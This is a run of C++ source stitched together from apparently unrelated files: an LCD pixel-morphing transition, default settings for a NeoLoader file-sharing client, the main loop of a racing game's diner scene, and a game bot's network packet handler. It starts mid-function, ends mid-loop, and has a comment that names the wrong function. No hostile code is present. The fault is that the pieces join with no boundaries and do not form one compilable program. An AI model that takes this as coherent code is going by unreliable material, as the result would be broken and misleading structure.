return ( m_flNextSpawnTime - gpGlobals->curtime );
}
//************************************************************************
// CLCDGfx::StartTransition
//************************************************************************
void CLCDGfx::Cache()
{
DWORD dwStart = GetTickCount();
// Initialize pixels
if(m_eTransition == TRANSITION_MORPH)
{
SLCDPixel *pPixel = NULL;
SLCDPixel *pSource = NULL;
int iIndex = 0;
bool bBreak = false;
bool bSearch = true;
int iTransitionPixels = 0;
POINT pt;
for(int j=0;j<2;j++)
{
iIndex = 0;
for(int i=0;i<m_nHeight * m_nWidth;i++)
{
pt.y = i/m_nWidth;
pt.x = i - (i/m_nWidth)*m_nWidth;
if((j==0 && !PtInRect(&m_rTransitionRegion,pt)) || (m_pSavedBitmapBits[i] != 0x00 && (j==1 || m_pBitmapBits[i] != 0x00)))
{
iIndex = i;
pPixel = new SLCDPixel();
pPixel->dSpeed = GetRandomDouble()*0.5 + 1;
if(!PtInRect(&m_rTransitionRegion,pt)) {
pPixel->cValue = m_pBitmapBits[i];
} else {
pPixel->cValue = m_pSavedBitmapBits[i];
}
pPixel->Start.y = pt.y;
pPixel->Start.x = pt.x;
pPixel->Position = pPixel->Start;
bBreak = false;
if(j==1 && bSearch)
{
// search for a pixel in circles with increasing radius around the location
iIndex = findNearestMatch(m_pBitmapBits,i);
if(iIndex < 0) {
iIndex = i;
} else {
bBreak = true;
}
}
if(j==0 || bBreak)
{
pPixel->Destination.y = iIndex/m_nWidth;
pPixel->Destination.x = iIndex - (iIndex/m_nWidth)*m_nWidth;
m_pBitmapBits[iIndex] = 0;
m_pSavedBitmapBits[i] = 0;
if(bBreak)
iTransitionPixels++;
}
else
{
if(m_LMovingPixels.size() > 0 && iTransitionPixels > 0)
{
pSource = m_LMovingPixels[GetRandomInt(0, (int)m_LMovingPixels.size()-1)];
pPixel->Destination = pSource->Destination;
}
else
{
pPixel->Destination.x = GetRandomInt(0,m_nWidth-1);
pPixel->Destination.y = GetRandomInt(0,1)==1?-1:m_nHeight+1;
}
bSearch = false;
}
if(j == 0)
m_LStaticPixels.push_back(pPixel);
else {
m_LMovingPixels.push_back(pPixel);
}
}
}
}
bool bRandom = false;
if(m_LMovingPixels.size() <= 0)
bRandom = true;
for(iIndex=0;iIndex<m_nHeight * m_nWidth;iIndex++)
{
if(m_pBitmapBits[iIndex] == 0)
continue;
pPixel = new SLCDPixel();
pPixel->dSpeed = GetRandomDouble()*0.5 + 1;
pPixel->cValue = m_pBitmapBits[iIndex];
if(!bRandom)
{
pSource = m_LMovingPixels[GetRandomInt(0, (int)m_LMovingPixels.size()-1)];
pPixel->Start = pSource->Start;
}
else
{
pPixel->Start.x = GetRandomInt(0,m_nWidth-1);
pPixel->Start.y = GetRandomInt(0,1)==1?-1:m_nHeight+1;
}
pPixel->Position = pPixel->Start;
pPixel->Destination.y = iIndex/m_nWidth;
pPixel->Destination.x = iIndex - (iIndex/m_nWidth)*m_nWidth;
m_LMovingPixels.push_back(pPixel);
}
}
m_dwTransitionStart = GetTickCount();
TRACE(_T("Textmorphing: time consumed: %0.2f\n"),(double)(m_dwTransitionStart-dwStart)/(double)1000);
}
QMap<QString, CSettings::SSetting> CNeoCore::GetDefaultCoreSettings()
{
QMap<QString, CSettings::SSetting> Settings;
// For values with limits is Default, Minimum, Maximum
Settings.insert("Log/Merge", CSettings::SSetting(true));
Settings.insert("Log/Store", CSettings::SSetting(false));
Settings.insert("Log/Limit", CSettings::SSetting(10000,1000,100000));
Settings.insert("Log/Level", CSettings::SSetting(1)); // 0 basic, 1 normal, 2 verbose
#ifdef _DEBUG
Settings.insert("Modules/AutoStart",CSettings::SSetting(0));
#else
Settings.insert("Modules/AutoStart",CSettings::SSetting(1));
#endif
Settings.insert("Modules/NeoKad",CSettings::SSetting("NeoKad"));
Settings.insert("Modules/MuleKad",CSettings::SSetting("MuleKad"));
Settings.insert("Content/SaveInterval", CSettings::SSetting(MIN2S(5)));
Settings.insert("Content/Temp", CSettings::SSetting(""));
Settings.insert("Content/Incoming", CSettings::SSetting(""));
Settings.insert("Content/UnifyedDirs", CSettings::SSetting(0));
Settings.insert("Content/Shared", CSettings::SSetting(QStringList("")));
Settings.insert("Content/VerifyTime", CSettings::SSetting(30));
Settings.insert("Content/VerifySize", CSettings::SSetting(MB2B(5)));
Settings.insert("Content/CacheLimit", CSettings::SSetting(MB2B(256), MB2B(128), MB2B(1024)));
Settings.insert("Content/AddPaused", CSettings::SSetting(false));
Settings.insert("Content/ShareNew", CSettings::SSetting(true));
//Settings.insert("Content/ShowTemp", CSettings::SSetting(false));
Settings.insert("Content/MagnetDomain", CSettings::SSetting("http://link.neoloader.to/"));
Settings.insert("Content/MagnetRetry", CSettings::SSetting(MIN2S(10)));
#ifdef DECODER
Settings.insert("Content/MagnetTimeLimit", CSettings::SSetting(MIN2S(60)));
Settings.insert("Content/MagnetVolumeLimit", CSettings::SSetting(15));
Settings.insert("Content/MagnetAllowDisplay", true);
#endif
Settings.insert("Content/EndGameVolume", CSettings::SSetting(5,0,10));
//Settings.insert("Content/AlwaysEndGame", CSettings::SSetting(true));
Settings.insert("Content/FuseMount", CSettings::SSetting(""));
#ifndef WIN32
Settings.insert("Content/FuseOptions", CSettings::SSetting("-o|allow_other"));
#endif
Settings.insert("Content/IgnoreLastModified", CSettings::SSetting(0));
Settings.insert("Content/ShareRatio", CSettings::SSetting(0)); // 0 means no ratio
Settings.insert("Content/ShareTime", CSettings::SSetting(0)); // 0 means no limit
Settings.insert("Content/AutoP2P", CSettings::SSetting(false));
Settings.insert("Content/PreparePreview", CSettings::SSetting(false));
Settings.insert("Content/Streamable", CSettings::SSetting("(mp4|m4v|divx|avi|mkv|mov|wmv|asf|mped|mpg|flv)"));
Settings.insert("Content/FrontLoadSize", CSettings::SSetting(MB2B(8)));
Settings.insert("Content/BackLoadSize", CSettings::SSetting(MB2B(2)));
Settings.insert("Content/Preallocation", CSettings::SSetting(MB2B(100)));
Settings.insert("Content/CalculateHashes", CSettings::SSetting(true));
Settings.insert("Content/SaveSearch", CSettings::SSetting(true));
#ifdef _DEBUG
Settings.insert("Other/PreventStandby", CSettings::SSetting(false));
#else
Settings.insert("Other/PreventStandby", CSettings::SSetting(true));
#endif
Settings.insert("Bandwidth/Upload", CSettings::SSetting(-1));
Settings.insert("Bandwidth/Download", CSettings::SSetting(-1));
#ifdef _DEBUG
Settings.insert("Bandwidth/UseUPnP",CSettings::SSetting(false));
#else
Settings.insert("Bandwidth/UseUPnP",CSettings::SSetting(true));
#endif
Settings.insert("Bandwidth/UseIPv6",CSettings::SSetting(false));
Settings.insert("Bandwidth/DefaultNIC",CSettings::SSetting(""));
Settings.insert("Bandwidth/WebProxy", CSettings::SSetting(""));
Settings.insert("Bandwidth/MaxConnections", CSettings::SSetting(2500));
Settings.insert("Bandwidth/MaxNewPer5Sec", CSettings::SSetting(250));
Settings.insert("Bandwidth/TransportLimiting", CSettings::SSetting(true));
Settings.insert("Bandwidth/FrameOverhead", CSettings::SSetting(18));
Settings.insert("Upload/HistoryDepth", CSettings::SSetting(10,50,100));
Settings.insert("Upload/UpWaitTime", CSettings::SSetting(HR2S(3),HR2S(1),HR2S(5)));
Settings.insert("Upload/SlotSpeed", CSettings::SSetting(KB2B(8)));
//Settings.insert("Upload/SlotFocus", CSettings::SSetting(false));
Settings.insert("Upload/TrickleVolume", CSettings::SSetting(2));
Settings.insert("Upload/TrickleSpeed", CSettings::SSetting(KB2B(1)));
Settings.insert("Upload/DropBlocking", CSettings::SSetting(false));
Settings.insert("Pinger/MinSpeed", CSettings::SSetting(KB2B(10))); // 10 kb/s
Settings.insert("Pinger/MaxSpeed", CSettings::SSetting(-1));
Settings.insert("Pinger/HostsToTrace", CSettings::SSetting(10));
Settings.insert("Pinger/MaxFails", CSettings::SSetting(60));
Settings.insert("Pinger/InitialPings", CSettings::SSetting(10));
Settings.insert("Pinger/ToleranceVal", CSettings::SSetting(""));
Settings.insert("Pinger/UpDivider", CSettings::SSetting(10));
Settings.insert("Pinger/DownDivider", CSettings::SSetting(10));
Settings.insert("Pinger/Average", CSettings::SSetting(3));
Settings.insert("Pinger/Host", CSettings::SSetting(""));
Settings.insert("PeerWatch/Enable",CSettings::SSetting(2));
Settings.insert("PeerWatch/BlockTime", CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(60)));
Settings.insert("PeerWatch/BanTime", CSettings::SSetting(HR2S(2),HR2S(1),HR2S(6)));
//Settings.insert("PeerWatch/IPFilter",CSettings::SSetting(""));
Settings.insert("NeoShare/IdleTimeout",CSettings::SSetting(MIN2S(2),MIN2S(1),MIN2S(5)));
Settings.insert("NeoShare/KeepAlive",CSettings::SSetting(60,30,MIN2S(3)));
Settings.insert("NeoShare/ConnectTimeout",CSettings::SSetting(20,10,120));
Settings.insert("NeoShare/RouteTimeout", CSettings::SSetting(MIN2S(5),MIN2S(1),MIN2S(15)));
Settings.insert("NeoShare/MaxEntities", CSettings::SSetting(250));
Settings.insert("NeoShare/RequestInterval",CSettings::SSetting(MIN2S(20),MIN2S(10),MIN2S(60)));
Settings.insert("NeoShare/RequestLimit",CSettings::SSetting(100,10,250));
Settings.insert("NeoShare/SaveInterval", CSettings::SSetting(MIN2S(5)));
Settings.insert("NeoShare/SaveEntities",CSettings::SSetting(false));
Settings.insert("NeoShare/KadPublishmentVolume",CSettings::SSetting(10,5,100));
Settings.insert("NeoShare/KadLookupVolume",CSettings::SSetting(20,5,100));
Settings.insert("NeoShare/KadLookupInterval",CSettings::SSetting(MIN2S(20),MIN2S(10),MIN2S(60)));
Settings.insert("NeoShare/HubCheckoutInterval",CSettings::SSetting(MIN2S(40),MIN2S(20),MIN2S(120)));
Settings.insert("NeoShare/LoadTreshold", CSettings::SSetting(75,50,100));
Settings.insert("NeoShare/SaturationLimit", CSettings::SSetting(10,5,20));
Settings.insert("NeoShare/Enable", CSettings::SSetting(true));
Settings.insert("NeoShare/Anonymity", CSettings::SSetting(0, 0, 4));
Settings.insert("NeoShare/Upload", CSettings::SSetting(-1));
Settings.insert("NeoShare/Download", CSettings::SSetting(-1));
Settings.insert("NeoShare/Priority", CSettings::SSetting(0));
Settings.insert("NeoKad/Port", CSettings::SSetting(GetRandomInt(9000, 9999)));
Settings.insert("NeoKad/TargetID", CSettings::SSetting(""));
Settings.insert("NeoKad/LastDistance", CSettings::SSetting(0));
Settings.insert("NeoKad/EntityKey", CSettings::SSetting(""));
Settings.insert("NeoKad/StoreKey", CSettings::SSetting(""));
Settings.insert("BitTorrent/Tracking", CSettings::SSetting("All-Tiers")); // "No-Trackers" "One-Tracker" "All-Trackers" "All-Tiers"
Settings.insert("BitTorrent/MaxPeers", CSettings::SSetting(500, 10, 1000));
Settings.insert("BitTorrent/ServerPort", CSettings::SSetting(GetRandomInt(6800, 6900)));
Settings.insert("BitTorrent/AnnounceInterval",CSettings::SSetting(MIN2S(5),MIN2S(1),MIN2S(60)));
Settings.insert("BitTorrent/AnnounceWanted",CSettings::SSetting(200,1,1000));
Settings.insert("BitTorrent/ConnectTimeout",CSettings::SSetting(20,10,30));
Settings.insert("BitTorrent/IdleTimeout",CSettings::SSetting(90,15,320));
Settings.insert("BitTorrent/KeepAlive",CSettings::SSetting(30,15,60));
Settings.insert("BitTorrent/RequestTimeout",CSettings::SSetting(60,15,120));
Settings.insert("BitTorrent/RequestLimit",CSettings::SSetting(250,100,250));
//Settings.insert("BitTorrent/RetryInterval",CSettings::SSetting(MIN2S(10),MIN2S(1),MIN2S(58)));
Settings.insert("BitTorrent/Encryption", CSettings::SSetting("Support"));
Settings.insert("BitTorrent/uTP", CSettings::SSetting(true));
Settings.insert("BitTorrent/MaxRendezvous", CSettings::SSetting(5,3,10));
Settings.insert("BitTorrent/CryptTCPPaddingLength",CSettings::SSetting(127,0,511));
Settings.insert("BitTorrent/EnableTracker",CSettings::SSetting(1)); // 0 off, 1 on, 2 on but only for own torrents
Settings.insert("BitTorrent/SavePeers",CSettings::SSetting(false));
Settings.insert("BitTorrent/Enable", CSettings::SSetting(true));
Settings.insert("BitTorrent/MaxTorrents", CSettings::SSetting(5));
Settings.insert("BitTorrent/Upload", CSettings::SSetting(-1));
Settings.insert("BitTorrent/Download", CSettings::SSetting(-1));
Settings.insert("BitTorrent/Priority", CSettings::SSetting(0));
Settings.insert("MainlineDHT/NodeID", CSettings::SSetting(""));
Settings.insert("MainlineDHT/Address", CSettings::SSetting(""));
Settings.insert("MainlineDHT/RouterNodes", CSettings::SSetting(QString("router.bittorrent.com:6881|router.utorrent.com:6881").split("|")));
Settings.insert("Ed2kMule/UserHash", CSettings::SSetting(""));
Settings.insert("Ed2kMule/NickName", CSettings::SSetting("http://neoloader.to"));
Settings.insert("Ed2kMule/MaxSources", CSettings::SSetting(500, 50, 5000));
Settings.insert("Ed2kMule/TCPPort", CSettings::SSetting(GetRandomInt(4600, 4700)));
Settings.insert("Ed2kMule/UDPPort", CSettings::SSetting(GetRandomInt(4700, 4800)));
Settings.insert("Ed2kMule/CheckFWInterval", CSettings::SSetting(MIN2S(15), MIN2S(10), MIN2S(60)));
Settings.insert("Ed2kMule/ConnectTimeout",CSettings::SSetting(20,10,30));
Settings.insert("Ed2kMule/IdleTimeout",CSettings::SSetting(60,15,320));
Settings.insert("Ed2kMule/IncomingTimeOut",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(60)));
Settings.insert("Ed2kMule/ReaskInterval",CSettings::SSetting(MIN2S(29),MIN2S(10),MIN2S(58)));
Settings.insert("Ed2kMule/LanMode", CSettings::SSetting(false));
Settings.insert("Ed2kMule/Obfuscation", CSettings::SSetting("Support"));
Settings.insert("Ed2kMule/CryptTCPPaddingLength",CSettings::SSetting(127,0,254));
Settings.insert("Ed2kMule/NatTraversal", CSettings::SSetting(true));
Settings.insert("Ed2kMule/KadLookupInterval",CSettings::SSetting(MIN2S(29),MIN2S(10),MIN2S(58)));
Settings.insert("Ed2kMule/KadMaxLookup",CSettings::SSetting(5,5,50));
Settings.insert("Ed2kMule/SXInterval",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(40)));
Settings.insert("Ed2kMule/SXVolume",CSettings::SSetting(20,5,50));
Settings.insert("Ed2kMule/SaveSources",CSettings::SSetting(false));
Settings.insert("Ed2kMule/Enable", CSettings::SSetting(true));
Settings.insert("Ed2kMule/ShareDefault", CSettings::SSetting(false));
Settings.insert("Ed2kMule/Upload", CSettings::SSetting(-1));
Settings.insert("Ed2kMule/Download", CSettings::SSetting(-1));
Settings.insert("Ed2kMule/Priority", CSettings::SSetting(0));
Settings.insert("Ed2kMule/HashMode", CSettings::SSetting("Random-Secure")); // Random, Static, Random-Secure, Static-Secure
Settings.insert("Ed2kMule/SUIKey", CSettings::SSetting(""));
Settings.insert("Ed2kMule/HashAge", CSettings::SSetting(""));
Settings.insert("Ed2kMule/UseServers", CSettings::SSetting("Static")); // None, Custom, Static, One, Booth
Settings.insert("Ed2kMule/StaticServers", CSettings::SSetting(QString("ed2k://|server|91.200.42.46|1176|/\r\ned2k://|server|91.200.42.47|3883|/\r\ned2k://|server|91.200.42.119|9939|/\r\ned2k://|server|176.103.48.36|4184|/\r\ned2k://|server|77.120.115.66|5041|/\r\ned2k://|server|46.105.126.71|4661|/").split("\r\n")));
Settings.insert("Ed2kMule/KeepServers",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(58)));
Settings.insert("Ed2kMule/MinHordeSlots",CSettings::SSetting(1,0,10));
Settings.insert("Hoster/MinWebTasks", CSettings::SSetting(10));
Settings.insert("Hoster/MaxNewPer5Sec", CSettings::SSetting(25));
Settings.insert("Hoster/MaxWebTasks", CSettings::SSetting(100));
Settings.insert("Hoster/AccessFailedTimeOut", CSettings::SSetting(10));
Settings.insert("Hoster/ServerBanTime", CSettings::SSetting(HR2S(2)));
Settings.insert("Hoster/ServerBanTreshold", CSettings::SSetting(20));
Settings.insert("Hoster/ServerDownTreshold", CSettings::SSetting(4));
Settings.insert("Hoster/MaxUploads", CSettings::SSetting(1));
Settings.insert("Hoster/MaxDownloads", CSettings::SSetting(5));
Settings.insert("Hoster/MaxChecks", CSettings::SSetting(5));
Settings.insert("Hoster/ReCheckInterval", CSettings::SSetting(HR2S(24),HR2S(1),HR2S(240)));
Settings.insert("Hoster/AutoReUpload", CSettings::SSetting(true));
Settings.insert("Hoster/MaxCheckouts", CSettings::SSetting(3));
Settings.insert("Hoster/CheckoutInterval", CSettings::SSetting(MIN2S(60),MIN2S(30),HR2S(6)));
Settings.insert("Hoster/MaxTransferRetry", CSettings::SSetting(3));
Settings.insert("Hoster/ServerRetryDelay", CSettings::SSetting(MIN2S(2)));
Settings.insert("Hoster/CaptchaRetryDelay", CSettings::SSetting(MIN2S(20)));
Settings.insert("Hoster/MaxBadCaptcha", CSettings::SSetting(3));
Settings.insert("Hoster/ManualCaptcha", CSettings::SSetting(1));
Settings.insert("Hoster/AutoCleanUp", CSettings::SSetting(true));
Settings.insert("Hoster/Encap", CSettings::SSetting("7z"));
Settings.insert("Hoster/RarPath", CSettings::SSetting(""));
Settings.insert("Hoster/RarComment", CSettings::SSetting(""));
#ifdef CRAWLER
Settings.insert("Hoster/DecapCleanup", CSettings::SSetting("*.url;*.lnk;thumbs.db"));
Settings.insert("Hoster/KeepSingleArchives", CSettings::SSetting(false));
#else
Settings.insert("Hoster/KeepSingleArchives", CSettings::SSetting(true));
#endif
Settings.insert("Hoster/EncryptUploads", CSettings::SSetting("RC4"));
Settings.insert("Hoster/ProtectLinks", CSettings::SSetting(true));
Settings.insert("Hoster/Enable", CSettings::SSetting(true));
Settings.insert("Hoster/UseCaptcha", CSettings::SSetting(false));
Settings.insert("Hoster/PartSize", CSettings::SSetting(0));
Settings.insert("Hoster/MaxArcTasks", CSettings::SSetting(5));
Settings.insert("Hoster/Upload", CSettings::SSetting(-1));
Settings.insert("Hoster/Download", CSettings::SSetting(-1));
Settings.insert("Hoster/Priority", CSettings::SSetting(0));
Settings.insert("HosterCache/CacheMode", CSettings::SSetting("Off")); // Off, On, All
Settings.insert("HosterCache/SelectionMode", CSettings::SSetting("Auto")); // All, Auto, Selected - hosters
Settings.insert("HosterCache/PartSize", CSettings::SSetting(MB2B(100)));
Settings.insert("HosterCache/MaxAvail", CSettings::SSetting(3));
Settings.insert("HosterCache/MaxJoints", CSettings::SSetting(1));
Settings.insert("HashInspector/Majority",CSettings::SSetting(90,80,100));
Settings.insert("HashInspector/Quorum",CSettings::SSetting(10,5,20));
Settings.insert("CorruptionLogger/MonitorTime", CSettings::SSetting(HR2S(4),HR2S(2),HR2S(16)));
Settings.insert("CorruptionLogger/DropRatio", CSettings::SSetting(40, 10, 100));
//Settings.insert("Script/AutoUpdate", CSettings::SSetting(true));
//Settings.insert("Script/UserName", CSettings::SSetting(""));
//Settings.insert("Script/Password", CSettings::SSetting(""));
Settings.insert("Browser/MaxRetries", CSettings::SSetting(3));
Settings.insert("Browser/TimeoutSecs", CSettings::SSetting(30));
Settings.insert("Browser/ReplyBuffer", CSettings::SSetting(MB2B(4),KB2B(256),MB2B(64)));
Settings.insert("Browser/TransferBuffer",CSettings::SSetting(KB2B(16),KB2B(4),KB2B(256)));
return Settings;
}
///////////////////
// Start the diner
bool Dnr_Start(char *szDir)
{
keyboard_t *kb = System_GetKeyboard();
GLfloat one[] = {0.3f,0.3f,0.3f,1};
GLfloat blue[] = {0.3f, 0.3f, 1.0f, 1.0f};
GLfloat pos1[4] = {1,1,1,1};
GLfloat pos2[4] = {1,1,1,1};
GLfloat pos3[4] = {25,-100,50,1};
int i;
if( !Dnr_Load(szDir) )
return false;
for( i=0; i<3; i++ ) {
pos1[i] = psDiner->pcLocation->getScene()->getLight(0).Position.GetIndex(i);
pos2[i] = psDiner->pcLocation->getScene()->getLight(1).Position.GetIndex(i);
}
// Setup the diner for an opponent
psDiner->nOppState = opp_waiting;
psDiner->fOppTimer = tMainSR3.fCurTime + (float)GetRandomInt(2)+2.0f;
sRaceInfo.pcOpponent = NULL;
// HACK: Quickly get the opponent in the diner
//Dnr_RollinOpponent();
//psDiner->pcLocation->SetupCamera( CVec(25,11,-1.4f),100);
//psDiner->pcLocation->setCamPos( CVec(0,0,0) );
// Setup the fog
State_Disable(GL_FOG);
// Setup the lighting
State_Enable(GL_LIGHTING);
State_Enable(GL_LIGHT1);
State_Enable(GL_LIGHT2);
glLightfv(GL_LIGHT0, GL_DIFFUSE, one);
glLightfv(GL_LIGHT1, GL_DIFFUSE, one);
glLightfv(GL_LIGHT2, GL_DIFFUSE, one);
glLightf(GL_LIGHT0, GL_CONSTANT_ATTENUATION, 1.00f);
glLightf(GL_LIGHT0, GL_LINEAR_ATTENUATION, 0.0f);
glLightf(GL_LIGHT1, GL_CONSTANT_ATTENUATION, 1.00f);
glLightf(GL_LIGHT1, GL_LINEAR_ATTENUATION, 0.0f);
glLightf(GL_LIGHT2, GL_CONSTANT_ATTENUATION, 0.80f);
glLightf(GL_LIGHT2, GL_LINEAR_ATTENUATION, 0.01f);
glMaterialf(GL_FRONT, GL_SHININESS, 25.0);
glMaterialfv(GL_FRONT, GL_SPECULAR, one);
System_ProcessInput();
while(psDiner->bProcessDiner) {
System_ProcessInput();
//
// Processing
//
psDiner->pcLocation->Process();
psDiner->cSky.Simulate(tMainSR3.fDeltaTime);
if( !psDiner->bSpeechBubble ) {
Dnr_ProcessOpponent();
Dnr_ProcessGUI();
}
cMainGuy->processFrame();
//
// 3D Drawing
//
glLightfv(GL_LIGHT0, GL_POSITION, pos1);
glLightfv(GL_LIGHT1, GL_POSITION, pos2);
glLightfv(GL_LIGHT2, GL_POSITION, pos3);
SetupFrame();
// Manually setup the camera
psDiner->pcLocation->getCamera()->LookAt(psDiner->pcLocation->getCamLook());
psDiner->pcLocation->getCamera()->Show();
psDiner->cSky.Render( psDiner->pcLocation->getCamera() );
State_Enable(GL_LIGHTING);
psDiner->pcLocation->Draw(true, true, false);
Dnr_DrawOpponent();
//
// 2D Drawing
//
Render_Begin2D();
// Draw the sidedoor bit
State_Enable(GL_TEXTURE_2D);
State_Disable(GL_LIGHTING);
State_Enable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
glColor4f(1,1,1,1);
BlitTexture(psDiner->psSideDoor, 0,0, 0,472, 105,128, 1,1);
for(i=0; i<10; i++ ) {
BlitTexture(psDiner->psSideDoor, 105,0, i*95+105,472, 95,128, 1,1);
}
if( psDiner->bSpeechBubble )
Dnr_SpeechProcess();
psDiner->pcLocation->FinalDraw();
if(psOptions->nShowFPS) {
Font_SetAlpha(1);
Font_SetSize(14);
int fps = GetFPS();
Font_Draw(5, 583, CVec(0,0,0), "FPS: %d", fps);
Font_Draw(5, 585, CVec(1,1,1), "FPS: %d", fps);
}
if(psOptions->nDeveloper) {
Font_SetAlpha(1);
Font_SetSize(14);
Font_Draw(5, 563, CVec(0,0,0), "Tris: %d", tMainSR3.TriCount);
Font_Draw(5, 565, CVec(1,1,1), "Tris: %d", tMainSR3.TriCount);
}
// Draw the gui
if(!psDiner->bSpeechBubble && psDiner->bProcessDiner) {
if( psDiner->bOppClicked )
cDinerLayout.Draw();
cDinerLayout2.Draw();
}
gui_DrawMouse();
Render_End2D();
SDL_GL_SwapBuffers();
}
//
// Show a loading sign on the screen
//
Render_Begin2D();
Font_SetSize(14);
Font_SetAlpha(1);
Font_DrawCentered(400, 300, CVec(1,1,1), "Loading...");
Render_End2D();
SDL_GL_SwapBuffers();
// Are we going to race?
if(psDiner->bRacing)
// Off to the track
Game_SetLocation(LOC_RACE);
else
// Back to the garage
Game_SetLocation(LOC_GARAGE);
Dnr_Shutdown();
return true;
}
// Handle packet
void _Bot::HandlePacket(_Buffer &Data) {
PacketType Type = Data.Read<PacketType>();
//std::cout << (int)Type << std::endl;
switch(Type) {
case PacketType::ACCOUNT_SUCCESS: {
// Request character list
_Buffer Packet;
Packet.Write<PacketType>(PacketType::CHARACTERS_REQUEST);
Network->SendPacket(Packet);
} break;
case PacketType::ACCOUNT_NOTFOUND: {
_Buffer Packet;
Packet.Write<PacketType>(PacketType::ACCOUNT_LOGININFO);
Packet.WriteBit(1);
Packet.WriteString(Username.c_str());
Packet.WriteString(Password.c_str());
Packet.Write<uint64_t>(0);
Network->SendPacket(Packet);
} break;
case PacketType::CHARACTERS_LIST: {
// Get count
uint8_t CharacterCount = Data.Read<uint8_t>();
std::cout << "character count: " << (int)CharacterCount << std::endl;
// Get characters
int FirstSlot = -1;
for(size_t i = 0; i < CharacterCount; i++) {
size_t Slot = Data.Read<uint8_t>();
Data.ReadString();
Data.Read<uint32_t>();
Data.Read<int32_t>();
if(FirstSlot == -1)
FirstSlot = (int)Slot;
}
// Create character
if(FirstSlot == -1) {
std::string Name = Username + "_" + std::to_string(GetRandomInt(0, 1000));
_Buffer Packet;
Packet.Write<PacketType>(PacketType::CREATECHARACTER_INFO);
Packet.WriteString(Name.c_str());
Packet.Write<uint32_t>(1);
Packet.Write<uint32_t>(1);
Packet.Write<uint8_t>(0);
Network->SendPacket(Packet);
FirstSlot = 0;
}
_Buffer Packet;
Packet.Write<PacketType>(PacketType::CHARACTERS_PLAY);
Packet.Write<uint8_t>((uint8_t)FirstSlot);
Network->SendPacket(Packet);
} break;
case PacketType::OBJECT_STATS:
if(Player)
Player->UnserializeStats(Data);
break;
case PacketType::WORLD_CHANGEMAPS: {
// Load map
NetworkIDType MapID = (NetworkIDType)Data.Read<uint32_t>();
double Clock = Data.Read<double>();
if(Player)
std::cout << Player->NetworkID << " ";
std::cout << "WORLD_CHANGEMAPS " << MapID << std::endl;
// Delete old map and create new
if(!Map || Map->NetworkID != MapID) {
if(Map) {
delete Pather;
delete Map;
Pather = nullptr;
Map = nullptr;
}
Map = new _Map();
Map->Clock = Clock;
Map->NetworkID = MapID;
Map->Load(Stats->GetMap(MapID)->File);
AssignPlayer(nullptr);
Pather = new micropather::MicroPather(Map, (unsigned)(Map->Size.x * Map->Size.y), 4);
Path.clear();
}
} break;
case PacketType::WORLD_OBJECTLIST: {
ObjectManager->Clear();
AssignPlayer(nullptr);
// Read header
NetworkIDType ClientNetworkID = Data.Read<NetworkIDType>();
NetworkIDType ObjectCount = Data.Read<NetworkIDType>();
// Create objects
//std::cout << ClientNetworkID << " WORLD_OBJECTLIST count=" << ObjectCount << std::endl;
for(NetworkIDType i = 0; i < ObjectCount; i++) {
NetworkIDType NetworkID = Data.Read<NetworkIDType>();
// Create object
_Object *Object = CreateObject(Data, NetworkID);
// Set player pointer
if(Object->NetworkID == ClientNetworkID)
AssignPlayer(Object);
else
Object->CalcLevelStats = false;
}
if(Player) {
}
else {
// Error
}
} break;
case PacketType::WORLD_CREATEOBJECT: {
if(!Map || !Player)
break;
// Read packet
NetworkIDType NetworkID = Data.Read<NetworkIDType>();
//std::cout << Player->NetworkID << " WORLD_CREATEOBJECT NetworkID=" << NetworkID << std::endl;
// Check id
if(NetworkID != Player->NetworkID) {
// Create object
CreateObject(Data, NetworkID);
}
} break;
case PacketType::WORLD_DELETEOBJECT: {
NetworkIDType NetworkID = Data.Read<NetworkIDType>();
// Get object
_Object *Object = ObjectManager->GetObject(NetworkID);
if(Object && Object != Player) {
Object->Deleted = true;
}
} break;
case PacketType::WORLD_OBJECTUPDATES:
//HandleObjectUpdates(Data);
break;
case PacketType::WORLD_POSITION: {
if(!Player)
break;
Player->Position = Data.Read<glm::ivec2>();
Player->WaitForServer = false;
Player->TeleportTime = -1;
} break;
case PacketType::WORLD_TELEPORTSTART:
Player->TeleportTime = Data.Read<double>();
break;
case PacketType::EVENT_START:
//HandleEventStart(Data);
break;
case PacketType::CHAT_MESSAGE:
//HandleChatMessage(Data);
break;
case PacketType::INVENTORY:
//HandleInventory(Data);
break;
case PacketType::INVENTORY_USE:
//HandleInventoryUse(Data);
break;
case PacketType::INVENTORY_SWAP:
//HandleInventorySwap(Data);
break;
case PacketType::INVENTORY_UPDATE:
//HandleInventoryUpdate(Data);
break;
case PacketType::INVENTORY_GOLD:
//HandleInventoryGold(Data);
break;
case PacketType::TRADE_REQUEST:
//HandleTradeRequest(Data);
break;
case PacketType::TRADE_CANCEL:
//HandleTradeCancel(Data);
break;
case PacketType::TRADE_ITEM:
//HandleTradeItem(Data);
break;
case PacketType::TRADE_GOLD:
//HandleTradeGold(Data);
break;
case PacketType::TRADE_ACCEPT:
//HandleTradeAccept(Data);
break;
case PacketType::TRADE_EXCHANGE:
//HandleTradeExchange(Data);
break;
case PacketType::BATTLE_START: {
std::cout << "BATTLE_START" << std::endl;
// Already in a battle
if(Battle)
break;
// Allow player to hit menu buttons
Player->WaitForServer = false;
// Create a new battle instance
Battle = new _Battle();
Battle->Manager = ObjectManager;
Battle->Stats = Stats;
Battle->Scripting = Scripting;
Battle->ClientPlayer = Player;
Battle->ClientNetwork = Network.get();
Battle->Unserialize(Data, nullptr);
} break;
case PacketType::BATTLE_ACTION:
//HandleBattleAction(Data);
break;
case PacketType::BATTLE_LEAVE: {
NetworkIDType NetworkID = Data.Read<NetworkIDType>();
_Object *Object = ObjectManager->GetObject(NetworkID);
if(Object)
Battle->RemoveFighter(Object);
} break;
case PacketType::BATTLE_END: {
if(!Player || !Battle)
return;
std::cout << "BATTLE_END" << std::endl;
Player->WaitForServer = false;
_StatChange StatChange;
StatChange.Object = Player;
// Get ending stats
bool SideDead[2];
SideDead[0] = Data.ReadBit();
SideDead[1] = Data.ReadBit();
int PlayerKills = Data.Read<uint8_t>();
int MonsterKills = Data.Read<uint8_t>();
StatChange.Values[StatType::EXPERIENCE].Integer = Data.Read<int32_t>();
StatChange.Values[StatType::GOLD].Integer = Data.Read<int32_t>();
uint8_t ItemCount = Data.Read<uint8_t>();
for(uint8_t i = 0; i < ItemCount; i++) {
